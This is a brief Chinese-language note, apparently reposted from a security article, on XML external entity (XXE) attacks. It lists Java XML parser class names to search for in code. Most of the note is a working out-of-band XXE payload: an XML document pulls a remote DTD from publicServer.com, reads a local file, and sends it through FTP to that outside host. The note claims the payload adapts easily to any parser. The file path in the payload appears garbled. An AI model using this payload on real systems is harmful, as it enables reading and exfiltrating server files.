【转】http://www.freebuf.com/articles/web/97833.html


//解析xml关键字:
DocumentBuilderFactory
DocumentHelper
SAXParserFactory
SAXBuilder
SAXReader
unmarshal



使用 FTP 协议,攻击者可以读取到任意长度的文件。

<?xml version="1.0"?><!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]><data>4</data>

文件位于:http://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % payload SYSTEM "file:///sys/power/p_w_picpath_size">
<!ENTITY % param1 "<!ENTITY &#x25; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

这种攻击需要配置 FTP 服务器。不过,这个 POC 代码只需要稍作调整即可用于任意的解析器上。